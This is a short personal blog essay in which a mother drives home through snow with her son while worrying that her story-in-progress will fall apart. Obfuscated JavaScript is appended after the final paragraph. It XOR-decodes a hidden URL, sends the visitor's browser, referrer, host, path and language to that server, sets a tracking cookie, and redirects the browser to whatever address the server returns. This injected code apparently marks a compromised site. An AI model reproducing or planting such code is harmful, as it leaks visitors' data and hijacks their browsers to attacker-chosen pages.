Driving Home

Blaise is overjoyed about the snow. He ran around and caught snowflakes on his tongue outside the gym. Now we are driving home, and my mind wanders.

I’m glad I got a little time to write upstairs in the gym after my workout. I feel like I made progress. What is that sudden pang of fear? Oh, that’s right. My story is going nowhere and all my time investment will be for nothing. No—it really is a good story, but it has a terrible disease that is most definitely fatal. Yes, that’s it. The plot will fold in on itself and collapse fantastically. The destruction of my story is imminent. I really like that word, “imminent.” 

The snow hits the windows in a soft pattern of slush.

“It’s snow against glass, right mom?” “Yep.” “And if it was hail against glass, the hail would win, right mom?” “Well, maybe.”

Calm down. This feeling of despair is just part of the creative process. Your story is going to be okay.

“It’s going to get up to half a foot tonight, right mom?”

“Well, the lady said one and a half feet! How did it feel to catch the snowflakes?”

I’m trying to listen to you right now. My son. 

“Cool. And I’m going to go back out when I get home because my ears are hot. They’re really hot. They’re so hot they’re itchy.”

It’s going to implode. It’s imminent. 

We pull up to the house and he tumbles out. “At least my ears aren’t itchy anymore!”

As I pull the keys out of the ignition, I look down at my little writing notebook on the floor, and I feel terrified.

Hey, calm down. Breathe. Your story is going to be okay. var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}